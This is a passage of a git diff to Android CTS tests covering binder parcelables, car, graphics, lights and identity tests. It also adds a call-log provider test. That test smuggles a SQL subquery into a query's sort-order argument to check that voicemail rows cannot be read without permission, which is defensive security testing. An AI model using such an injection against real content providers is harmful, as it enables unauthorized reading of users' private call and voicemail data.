+    public void testParcelableHolder() throws RemoteException {
+        ExtendableParcelable ep = new ExtendableParcelable();
+        ep.c = 42L;
+        MyExt myext1 = new MyExt();
+        myext1.a = 42;
+        myext1.b = "mystr";
+        ep.ext.setParcelable(myext1);
+
+        ExtendableParcelable ep2 = new ExtendableParcelable();
+        mInterface.RepeatExtendableParcelable(ep, ep2);
+        MyExt myext2 = ep2.ext.getParcelable(MyExt.class);
+        assertEquals(42L, ep2.c);
+        assertNotEquals(null, myext2);
+        assertEquals(42, myext2.a);
+        assertEquals("mystr", myext2.b);
+    }
+
+    @Test
+    public void testEmptyParcelableHolder() throws RemoteException {
+        ExtendableParcelable ep = new ExtendableParcelable();
+        ep.c = 42L;
+        ExtendableParcelable ep2 = new ExtendableParcelable();
+        mInterface.RepeatExtendableParcelableWithoutExtension(ep, ep2);
+        assertEquals(42L, ep2.c);
+    }
+
+    @Test
+    public void testRepeatSimpleUnion() throws RemoteException {
+        final int[] intArray = { 1, 2, 3 };
+        SimpleUnion origin = SimpleUnion.b(intArray);
+        SimpleUnion ret = mInterface.RepeatSimpleUnion(origin);
+        assertEquals(SimpleUnion.b, ret.getTag());
+        Assert.assertArrayEquals(intArray, ret.getB());
     }
 }
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
index 067bab1..d16e8a75 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
@@ -25,20 +25,19 @@
 import java.io.PrintWriter;
 import java.util.concurrent.CountDownLatch;
 import test_package.Bar;
+import test_package.Baz;
 import test_package.Foo;
 import test_package.GenericBar;
+import test_package.ICompatTest;
 import test_package.IEmpty;
 import test_package.ITest;
 import test_package.RegularPolygon;
+import test_package.ExtendableParcelable;
+import test_package.MyExt;
+import test_package.SimpleUnion;
 
 public class TestImpl extends ITest.Stub {
   @Override
-  public int getInterfaceVersion() { return TestImpl.VERSION; }
-
-  @Override
-  public String getInterfaceHash() { return TestImpl.HASH; }
-
-  @Override
   protected void dump(FileDescriptor fd, PrintWriter pw, String[] args) {
     for (String arg : args) {
       pw.print(arg);
@@ -393,17 +392,57 @@
   }
 
   @Override
-  public String RepeatStringNullableLater(String in_value) {
-    return in_value;
-  }
-
-  @Override
-  public int NewMethodThatReturns10() {
-    return 10;
-  }
-
-  @Override
   public GenericBar<Integer> repeatGenericBar(GenericBar<Integer> bar) {
     return bar;
   }
+
+  @Override
+  public void RepeatExtendableParcelable(ExtendableParcelable in, ExtendableParcelable out) {
+    RepeatExtendableParcelableWithoutExtension(in, out);
+    MyExt ext = in.ext.getParcelable(MyExt.class);
+    MyExt ext2 = new MyExt();
+    ext2.a = ext.a;
+    ext2.b = ext.b;
+    out.ext.setParcelable(ext2);
+  }
+
+  @Override
+  public void RepeatExtendableParcelableWithoutExtension(ExtendableParcelable in, ExtendableParcelable out) {
+    out.a = in.a;
+    out.b = in.b;
+    out.c = in.c;
+  }
+
+  public SimpleUnion RepeatSimpleUnion(SimpleUnion in_u) {
+    return in_u;
+  }
+
+  private static class CompatTest extends ICompatTest.Stub {
+    @Override
+    public int getInterfaceVersion() { return CompatTest.VERSION; }
+
+    @Override
+    public String getInterfaceHash() { return CompatTest.HASH; }
+
+    @Override
+    public Baz repeatBaz(Baz inBaz) {
+      return inBaz;
+    }
+
+    @Override
+    public String RepeatStringNullableLater(String in_value) {
+      return in_value;
+    }
+
+    @Override
+    public int NewMethodThatReturns10() {
+      return 10;
+    }
+  }
+
+  @Override
+  public IBinder getICompatTest() {
+    return new CompatTest();
+
+  }
 }
diff --git a/tests/tests/bionic_app/Android.bp b/tests/tests/bionic_app/Android.bp
index ac5274e..03fca22 100644
--- a/tests/tests/bionic_app/Android.bp
+++ b/tests/tests/bionic_app/Android.bp
@@ -24,6 +24,7 @@
     sdk_version: "current",
     test_suites: [
         "cts",
+        "general-tests",
     ],
     use_embedded_native_libs: true,
 }
diff --git a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
index cdb9a26..e254bbc 100644
--- a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
@@ -46,6 +46,7 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Test relies on other server to connect to.")
 public class CarAppFocusManagerTest extends CarApiTestBase {
     private static final String TAG = CarAppFocusManagerTest.class.getSimpleName();
 
@@ -125,7 +126,6 @@
         mManager.removeFocusListener(listener2);
     }
 
-    @AppModeFull(reason = "Test relies on other server to connect to.")
     @Test
     public void testFocusChange() throws Exception {
         DefaultServiceConnectionListener connectionListener =
@@ -239,7 +239,6 @@
 
     }
 
-    @AppModeFull(reason = "Test relies on other server to connect to.")
     @Test
     public void testFilter() throws Exception {
         DefaultServiceConnectionListener connectionListener =
diff --git a/tests/tests/car/src/android/car/cts/CarOccupantZoneManagerTest.java b/tests/tests/car/src/android/car/cts/CarOccupantZoneManagerTest.java
index f6436e8..7dafee2 100644
--- a/tests/tests/car/src/android/car/cts/CarOccupantZoneManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarOccupantZoneManagerTest.java
@@ -25,6 +25,7 @@
 import android.car.CarOccupantZoneManager.OccupantZoneInfo;
 import android.os.Process;
 import android.os.UserHandle;
+import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.suitebuilder.annotation.SmallTest;
 import android.view.Display;
@@ -39,6 +40,7 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Instant apps cannot get car related permissions.")
 public class CarOccupantZoneManagerTest extends CarApiTestBase {
 
     private OccupantZoneInfo mDriverZoneInfo;
diff --git a/tests/tests/car/src/android/car/cts/CarTest.java b/tests/tests/car/src/android/car/cts/CarTest.java
index acf08c0..fc18eb5 100644
--- a/tests/tests/car/src/android/car/cts/CarTest.java
+++ b/tests/tests/car/src/android/car/cts/CarTest.java
@@ -44,6 +44,7 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Test relies on other server to connect to.")
 public class CarTest {
     @ClassRule
     public static final RequiredFeatureRule sRequiredFeatureRule = new RequiredFeatureRule(
@@ -63,7 +64,6 @@
         }
     }
 
-    @AppModeFull(reason = "Test relies on other server to connect to.")
     @Test
     public void testConnection() throws Exception {
         mServiceConnectionListener = new DefaultServiceConnectionListener();
diff --git a/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java b/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java
index 6e50c9b..dcd572d 100644
--- a/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java
@@ -23,6 +23,7 @@
 import android.car.Car;
 import android.car.drivingstate.CarUxRestrictions;
 import android.car.drivingstate.CarUxRestrictionsManager;
+import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.suitebuilder.annotation.SmallTest;
 
@@ -35,6 +36,7 @@
 @SmallTest
 @RequiresDevice
 @RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Test relies on other server to connect to.")
 public class CarUxRestrictionsManagerTest extends CarApiTestBase {
     private CarUxRestrictionsManager mManager;
 
diff --git a/tests/tests/carrierapi/AndroidTest.xml b/tests/tests/carrierapi/AndroidTest.xml
index adafe53..e5e885d 100644
--- a/tests/tests/carrierapi/AndroidTest.xml
+++ b/tests/tests/carrierapi/AndroidTest.xml
@@ -20,9 +20,6 @@
     <option name="config-descriptor:metadata" key="component" value="telecom" />
     <option name="config-descriptor:metadata" key="token" value="UICC_SIM_CARD" />
     <option name="not-shardable" value="true" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.TokenRequirement">
-        <option name="token" value="sim-card-with-certs" />
-    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsCarrierApiTestCases.apk" />
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
index e7d8ab9..8f2d6fc 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
@@ -570,6 +570,7 @@
 
     public void testGetManualNetworkSelectionPlmnPersisted() throws Exception {
         if (!hasCellular) return;
+        if (mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_GSM) return;
 
         try {
             mTelephonyManager.setNetworkSelectionModeManual(
@@ -593,6 +594,7 @@
 
     public void testIsManualNetworkSelectionAllowed() throws Exception {
         if (!hasCellular) return;
+        if (mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_GSM) return;
 
         try {
             assertTrue(mTelephonyManager.isManualNetworkSelectionAllowed());
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java
new file mode 100644
index 0000000..f91015a
--- /dev/null
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java
@@ -0,0 +1,135 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.database.ContentObserver;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.CallLog;
+import android.provider.CallLog.Calls;
+import android.test.InstrumentationTestCase;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class CallLogProviderTest extends InstrumentationTestCase {
+    private ContentResolver mContentResolver;
+    private ContentProviderClient mProvider;
+
+    private static final String TEST_NUMBER = "5551234";
+    private static final int TIME_OUT_MILLIS = 5000;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
+        mProvider = mContentResolver.acquireContentProviderClient(CallLog.AUTHORITY);
+    }
+
+    public void testNoSubqueries() throws Exception {
+        // Add a single call just to make sure the call log has something inside
+        ContentValues values = new ContentValues();
+        values.put(CallLog.Calls.NUMBER, TEST_NUMBER);
+        values.put(CallLog.Calls.TYPE, Calls.OUTGOING_TYPE);
+        values.put(CallLog.Calls.DATE, Long.valueOf(0 /*start time*/));
+        values.put(CallLog.Calls.DURATION, Long.valueOf(5 /*call duration*/));
+
+        mContentResolver.insert(CallLog.Calls.CONTENT_URI, values);
+
+        // Attempt to do a query that contains a subquery -- this should fail since this test does
+        // not have READ_VOICEMAIL.
+        try {
+            Cursor c = mProvider.query(Calls.CONTENT_URI, null, CallLog.Calls.NUMBER + " = ?",
+                    new String[]{TEST_NUMBER},
+                    "date DESC LIMIT (SELECT count(*) + 1 FROM calls WHERE type = 4");
+            assertEquals(0, c.getCount());
+        } catch (IllegalArgumentException e) {
+            // expected/tolerated
+        }
+    }
+
+    public void testUpdate() throws Exception {
+        // Add a single call just to make sure the call log has something inside
+        ContentValues values = new ContentValues();
+        values.put(CallLog.Calls.NUMBER, TEST_NUMBER);
+        values.put(CallLog.Calls.TYPE, Calls.OUTGOING_TYPE);
+        values.put(CallLog.Calls.DATE, Long.valueOf(0 /*start time*/));
+        values.put(CallLog.Calls.DURATION, Long.valueOf(5 /*call duration*/));
+        Uri uri = mContentResolver.insert(CallLog.Calls.CONTENT_URI, values);
+
+        CountDownLatch changeLatch = new CountDownLatch(1);
+        mContentResolver.registerContentObserver(
+                CallLog.Calls.CONTENT_URI, true,
+                new ContentObserver(null /* handler */) {
+                    @Override
+                    public void onChange(boolean selfChange, Uri uri) {
+                        mContentResolver.unregisterContentObserver(this);
+                        changeLatch.countDown();
+                        super.onChange(selfChange);
+                    }
+                });
+
+        // Update it!
+        values.put(CallLog.Calls.DURATION, Long.valueOf(6 /*call duration*/));
+        int numUpdated = mContentResolver.update(uri, values, null, null);
+        assertEquals(1, numUpdated);
+        try {
+            assertTrue(changeLatch.await(TIME_OUT_MILLIS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+            fail("Expected update notification.");
+        }
+    }
+
+    public void testDelete() throws Exception {
+        // Add a single call just to make sure the call log has something inside
+        ContentValues values = new ContentValues();
+        values.put(CallLog.Calls.NUMBER, TEST_NUMBER);
+        values.put(CallLog.Calls.TYPE, Calls.OUTGOING_TYPE);
+        values.put(CallLog.Calls.DATE, Long.valueOf(0 /*start time*/));
+        values.put(CallLog.Calls.DURATION, Long.valueOf(5 /*call duration*/));
+        Uri uri = mContentResolver.insert(CallLog.Calls.CONTENT_URI, values);
+
+        CountDownLatch changeLatch = new CountDownLatch(1);
+        mContentResolver.registerContentObserver(
+                CallLog.Calls.CONTENT_URI, true,
+                new ContentObserver(null /* handler */) {
+                    @Override
+                    public void onChange(boolean selfChange, Uri uri) {
+                        mContentResolver.unregisterContentObserver(this);
+                        changeLatch.countDown();
+                        super.onChange(selfChange);
+                    }
+                });
+
+        // Delete it.
+        // Yuck, you can't just delete using the uri passed in; you need to build a where clause.
+        int count = mContentResolver.delete(Calls.CONTENT_URI, Calls._ID + "="
+                + ContentUris.parseId(uri), null);
+        assertEquals(1, count);
+        try {
+            assertTrue(changeLatch.await(TIME_OUT_MILLIS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+            fail("Expected update notification.");
+        }
+    }
+}
diff --git a/tests/tests/content/res/color/testcolor_complex.xml b/tests/tests/content/res/color/testcolor_complex.xml
new file mode 100644
index 0000000..2d50e1b
--- /dev/null
+++ b/tests/tests/content/res/color/testcolor_complex.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<selector xmlns:android="http://schemas.android.com/apk/res/android">
+    <item android:state_enabled="false"
+          android:alpha="?android:attr/disabledAlpha"
+          android:color="?android:attr/colorForeground"/>
+    <item android:alpha="?android:attr/secondaryContentAlpha"
+          android:color="?android:attr/colorForeground"/>
+</selector>
\ No newline at end of file
diff --git a/tests/tests/content/res/layout/complex_color_drawable_attr_layout.xml b/tests/tests/content/res/layout/complex_color_drawable_attr_layout.xml
index 4d2042a..2ffed3e 100644
--- a/tests/tests/content/res/layout/complex_color_drawable_attr_layout.xml
+++ b/tests/tests/content/res/layout/complex_color_drawable_attr_layout.xml
@@ -19,6 +19,6 @@
               android:orientation="vertical"
               android:layout_width="match_parent"
               android:layout_height="wrap_content"
-              android:background="?android:attr/textColorSecondary">
+              android:background="@color/testcolor_complex">
 
 </LinearLayout>
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index 47ccab4..8ae80df 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -24,6 +24,7 @@
 import android.content.ContentUris;
 import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
 import android.content.pm.ActivityInfo;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
@@ -31,6 +32,7 @@
 import android.media.RingtoneManager;
 import android.net.Uri;
 import android.net.wifi.WifiManager;
+import android.os.BatteryManager;
 import android.os.storage.StorageManager;
 import android.platform.test.annotations.AppModeFull;
 import android.provider.AlarmClock;
@@ -492,7 +494,7 @@
     }
 
     public void testPowerUsageSummarySettings() {
-        if (isHandheld()) {
+        if (isBatteryPresent()) {
             assertCanBeHandled(new Intent(Intent.ACTION_POWER_USAGE_SUMMARY));
         }
     }
@@ -560,4 +562,10 @@
                 && !pm.hasSystemFeature(pm.FEATURE_TELEVISION)
                 && !pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
     }
+
+    private boolean isBatteryPresent() {
+        final Intent batteryInfo = mContext.registerReceiver(null,
+                                    new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
+        return batteryInfo.getBooleanExtra(BatteryManager.EXTRA_PRESENT, true);
+    }
 }
diff --git a/tests/tests/display/src/android/display/cts/BrightnessTest.java b/tests/tests/display/src/android/display/cts/BrightnessTest.java
index 7bbe88d..0ec6a3d 100644
--- a/tests/tests/display/src/android/display/cts/BrightnessTest.java
+++ b/tests/tests/display/src/android/display/cts/BrightnessTest.java
@@ -36,6 +36,7 @@
 import android.hardware.display.DisplayManager;
 import android.os.ParcelFileDescriptor;
 import android.os.PowerManager;
+import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
 import android.util.Pair;
 
@@ -56,6 +57,7 @@
 import java.util.Map;
 import java.util.Scanner;
 
+@AppModeFull
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class BrightnessTest {
diff --git a/tests/tests/dynamic_linker/Android.bp b/tests/tests/dynamic_linker/Android.bp
index cc99dad..38a7d25 100644
--- a/tests/tests/dynamic_linker/Android.bp
+++ b/tests/tests/dynamic_linker/Android.bp
@@ -56,6 +56,7 @@
     sdk_version: "current",
     test_suites: [
         "cts",
+        "general-tests",
     ],
     use_embedded_native_libs: true,
 }
diff --git a/tests/tests/graphics/jni/VulkanTestHelpers.cpp b/tests/tests/graphics/jni/VulkanTestHelpers.cpp
index 7092b86..b549b97 100644
--- a/tests/tests/graphics/jni/VulkanTestHelpers.cpp
+++ b/tests/tests/graphics/jni/VulkanTestHelpers.cpp
@@ -69,6 +69,29 @@
 
 } // namespace
 
+static bool enumerateDeviceExtensions(VkPhysicalDevice device,
+                                      std::vector<VkExtensionProperties>* extensions) {
+    VkResult result;
+
+    uint32_t count = 0;
+    result = vkEnumerateDeviceExtensionProperties(device, nullptr, &count, nullptr);
+    if (result != VK_SUCCESS) return false;
+
+    extensions->resize(count);
+    result = vkEnumerateDeviceExtensionProperties(device, nullptr, &count, extensions->data());
+    if (result != VK_SUCCESS) return false;
+
+    return true;
+}
+
+static bool hasExtension(const char* extension_name,
+                         const std::vector<VkExtensionProperties>& extensions) {
+    return std::find_if(extensions.cbegin(), extensions.cend(),
+                        [extension_name](const VkExtensionProperties& extension) {
+                            return strcmp(extension.extensionName, extension_name) == 0;
+                        }) != extensions.cend();
+}
+
 bool VkInit::init() {
   VkApplicationInfo appInfo = {
       .sType = VK_STRUCTURE_TYPE_APPLICATION_INFO,
@@ -108,6 +131,12 @@
   ASSERT(status == VK_SUCCESS || status == VK_INCOMPLETE);
   ASSERT(gpuCount > 0);
 
+  std::vector<VkExtensionProperties> supportedDeviceExtensions;
+  ASSERT(enumerateDeviceExtensions(mGpu, &supportedDeviceExtensions));
+  for (const auto extension : deviceExt) {
+      ASSERT(hasExtension(extension, supportedDeviceExtensions));
+  }
+
   uint32_t queueFamilyCount = 0;
   vkGetPhysicalDeviceQueueFamilyProperties(mGpu, &queueFamilyCount, nullptr);
   ASSERT(queueFamilyCount != 0);
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
index 371a637..55a7ac1 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
@@ -32,6 +32,7 @@
 import android.graphics.Canvas;
 import android.graphics.ColorSpace;
 import android.graphics.Rect;
+import android.media.MediaFormat;
 import android.os.ParcelFileDescriptor;
 
 import androidx.test.InstrumentationRegistry;
@@ -40,6 +41,7 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.BitmapUtils;
+import com.android.compatibility.common.util.MediaUtils;
 
 import org.junit.After;
 import org.junit.Before;
@@ -641,6 +643,10 @@
 
     @Test
     public void testHeif() throws IOException {
+        if (!MediaUtils.hasDecoder(MediaFormat.MIMETYPE_VIDEO_HEVC)) {
+            // HEIF support is optional when HEVC decoder is not supported.
+            return;
+        }
         InputStream is = obtainInputStream(R.raw.heifwriter_input);
         BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is, false);
         Bitmap region = decoder.decodeRegion(new Rect(0, 0, TILE_SIZE, TILE_SIZE), null);
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
index 867f8a3..121af43 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
@@ -43,6 +43,7 @@
 import android.graphics.drawable.BitmapDrawable;
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.NinePatchDrawable;
+import android.media.MediaFormat;
 import android.net.Uri;
 import android.util.DisplayMetrics;
 import android.util.Size;
@@ -53,6 +54,7 @@
 import androidx.test.filters.LargeTest;
 
 import com.android.compatibility.common.util.BitmapUtils;
+import com.android.compatibility.common.util.MediaUtils;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -65,6 +67,8 @@
 import java.io.InputStream;
 import java.io.OutputStream;
 import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.concurrent.Callable;
 import java.util.function.IntFunction;
 import java.util.function.Supplier;
@@ -98,19 +102,24 @@
 
     private static final ColorSpace sSRGB = ColorSpace.get(ColorSpace.Named.SRGB);
 
-    static Object[] getRecords() {
-        return new Record[] {
-            new Record(R.drawable.baseline_jpeg, 1280, 960, "image/jpeg", false, false, sSRGB),
-            new Record(R.drawable.grayscale_jpg, 128, 128, "image/jpeg", true, false, sSRGB),
-            new Record(R.drawable.png_test, 640, 480, "image/png", false, false, sSRGB),
-            new Record(R.drawable.gif_test, 320, 240, "image/gif", false, false, sSRGB),
-            new Record(R.drawable.bmp_test, 320, 240, "image/bmp", false, false, sSRGB),
-            new Record(R.drawable.webp_test, 640, 480, "image/webp", false, false, sSRGB),
-            new Record(R.drawable.google_chrome, 256, 256, "image/x-ico", false, true, sSRGB),
-            new Record(R.drawable.color_wheel, 128, 128, "image/x-ico", false, true, sSRGB),
-            new Record(R.raw.sample_1mp, 600, 338, "image/x-adobe-dng", false, false, sSRGB),
-            new Record(R.raw.heifwriter_input, 1920, 1080, "image/heif", false, false, sSRGB),
-        };
+    static Record[] getRecords() {
+        ArrayList<Record> records = new ArrayList<>(Arrays.asList(new Record[] {
+                new Record(R.drawable.baseline_jpeg, 1280, 960, "image/jpeg", false, false, sSRGB),
+                new Record(R.drawable.grayscale_jpg, 128, 128, "image/jpeg", true, false, sSRGB),
+                new Record(R.drawable.png_test, 640, 480, "image/png", false, false, sSRGB),
+                new Record(R.drawable.gif_test, 320, 240, "image/gif", false, false, sSRGB),
+                new Record(R.drawable.bmp_test, 320, 240, "image/bmp", false, false, sSRGB),
+                new Record(R.drawable.webp_test, 640, 480, "image/webp", false, false, sSRGB),
+                new Record(R.drawable.google_chrome, 256, 256, "image/x-ico", false, true, sSRGB),
+                new Record(R.drawable.color_wheel, 128, 128, "image/x-ico", false, true, sSRGB),
+                new Record(R.raw.sample_1mp, 600, 338, "image/x-adobe-dng", false, false, sSRGB)
+        }));
+        if (MediaUtils.hasDecoder(MediaFormat.MIMETYPE_VIDEO_HEVC)) {
+            // HEIF support is optional when HEVC decoder is not supported.
+            records.add(new Record(R.raw.heifwriter_input, 1920, 1080, "image/heif", false, false,
+                                   sSRGB));
+        }
+        return records.toArray(new Record[] {});
     }
 
     // offset is how many bytes to offset the beginning of the image.
diff --git a/tests/tests/hardware/src/android/hardware/lights/cts/LightsManagerTest.java b/tests/tests/hardware/src/android/hardware/lights/cts/LightsManagerTest.java
index 78455b1..aca19ec 100755
--- a/tests/tests/hardware/src/android/hardware/lights/cts/LightsManagerTest.java
+++ b/tests/tests/hardware/src/android/hardware/lights/cts/LightsManagerTest.java
@@ -44,8 +44,10 @@
 @SmallTest
 public class LightsManagerTest {
 
-    private static final LightState ON_TAN = new LightState(0xffd2b48c);
-    private static final LightState ON_RED = new LightState(0xffff0000);
+    private static final int ON_TAN = 0xffd2b48c;
+    private static final int ON_RED = 0xffff0000;
+    private static final LightState STATE_TAN = new LightState(ON_TAN);
+    private static final LightState STATE_RED = new LightState(ON_RED);
 
     private LightsManager mManager;
     private List<Light> mLights;
@@ -90,7 +92,7 @@
         try (LightsManager.LightsSession session = mManager.openSession()) {
             // When the session requests to turn a single light on:
             session.requestLights(new Builder()
-                    .setLight(mLights.get(0), ON_RED)
+                    .setLight(mLights.get(0), STATE_RED)
                     .build());
 
             // Then the light should turn on.
@@ -129,7 +131,7 @@
 
         try (LightsManager.LightsSession session = mManager.openSession()) {
             // When a session commits changes:
-            session.requestLights(new Builder().setLight(mLights.get(0), ON_TAN).build());
+            session.requestLights(new Builder().setLight(mLights.get(0), STATE_TAN).build());
             // Then the light should turn on.
             assertThat(mManager.getLightState(mLights.get(0)).getColor()).isEqualTo(ON_TAN);
 
@@ -148,8 +150,8 @@
                 LightsManager.LightsSession session2 = mManager.openSession()) {
 
             // When session1 and session2 both request the same light:
-            session1.requestLights(new Builder().setLight(mLights.get(0), ON_TAN).build());
-            session2.requestLights(new Builder().setLight(mLights.get(0), ON_RED).build());
+            session1.requestLights(new Builder().setLight(mLights.get(0), STATE_TAN).build());
+            session2.requestLights(new Builder().setLight(mLights.get(0), STATE_RED).build());
             // Then session1 should win because it was created first.
             assertThat(mManager.getLightState(mLights.get(0)).getColor()).isEqualTo(ON_TAN);
 
@@ -171,7 +173,7 @@
 
         try (LightsManager.LightsSession session = mManager.openSession()) {
             // When the session turns a light on:
-            session.requestLights(new Builder().setLight(mLights.get(0), ON_RED).build());
+            session.requestLights(new Builder().setLight(mLights.get(0), STATE_RED).build());
             // And then the session clears it again:
             session.requestLights(new Builder().clearLight(mLights.get(0)).build());
             // Then the light should turn back off.
diff --git a/tests/tests/icu/CtsIcu4cTestCases.xml b/tests/tests/icu/CtsIcu4cTestCases.xml
index 416a9d0..acef467 100644
--- a/tests/tests/icu/CtsIcu4cTestCases.xml
+++ b/tests/tests/icu/CtsIcu4cTestCases.xml
@@ -23,10 +23,12 @@
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
         <option name="push" value="icu.cintltst->/data/local/tmp/cintltst" />
+        <option name="post-push" value="chmod a+x /data/local/tmp/cintltst" />
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
         <option name="push" value="icu.intltest->/data/local/tmp/intltest" />
+        <option name="post-push" value="chmod a+x /data/local/tmp/intltest" />
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
diff --git a/tests/tests/identity/src/android/security/identity/cts/AttestationTest.java b/tests/tests/identity/src/android/security/identity/cts/AttestationTest.java
index 06ae8ab..c63b793 100644
--- a/tests/tests/identity/src/android/security/identity/cts/AttestationTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/AttestationTest.java
@@ -102,16 +102,6 @@
         // Since we cannot get the implementation name or author at this layer, we can't test for
         // it. This can be tested for in the VTS test, however.
 
-        // As per the IC HAL, the keymasterVersion field should be the version of the Identity
-        // Credential HAL - 1.0 - and this is encoded as major*10 + minor. This field is used by
-        // Keymaster which is known to report integers less than or equal to 4 (for KM up to 4.0)
-        // and integers greater or equal than 41 (for KM starting with 4.1).
-        //
-        // Since we won't get to version 4.0 of the IC HAL for a while, let's also check that a KM
-        // version isn't errornously returned.
-        assertTrue(record.getKeymasterVersion() >= 10);
-        assertTrue(record.getKeymasterVersion() < 40);
-
         // Check that the challenge we passed in, is in fact in the attestation record.
         assertArrayEquals(challenge, record.getAttestationChallenge());
 
diff --git a/tests/tests/identity/src/android/security/identity/cts/Util.java b/tests/tests/identity/src/android/security/identity/cts/Util.java
index df9a300..bbd6ee7 100644
--- a/tests/tests/identity/src/android/security/identity/cts/Util.java
+++ b/tests/tests/identity/src/android/security/identity/cts/Util.java
@@ -37,6 +37,7 @@
 import java.security.KeyStore;
 import java.security.KeyPair;
 import java.security.KeyPairGenerator;
+import java.security.MessageDigest;
 import java.security.NoSuchAlgorithmException;
 import java.security.PublicKey;
 import java.security.PrivateKey;
@@ -1002,15 +1003,10 @@
 
             byte[] sessionTranscriptBytes =
                     Util.prependSemanticTagForEncodedCbor(encodedSessionTranscript);
-            byte[] sharedSecretWithSessionTranscriptBytes =
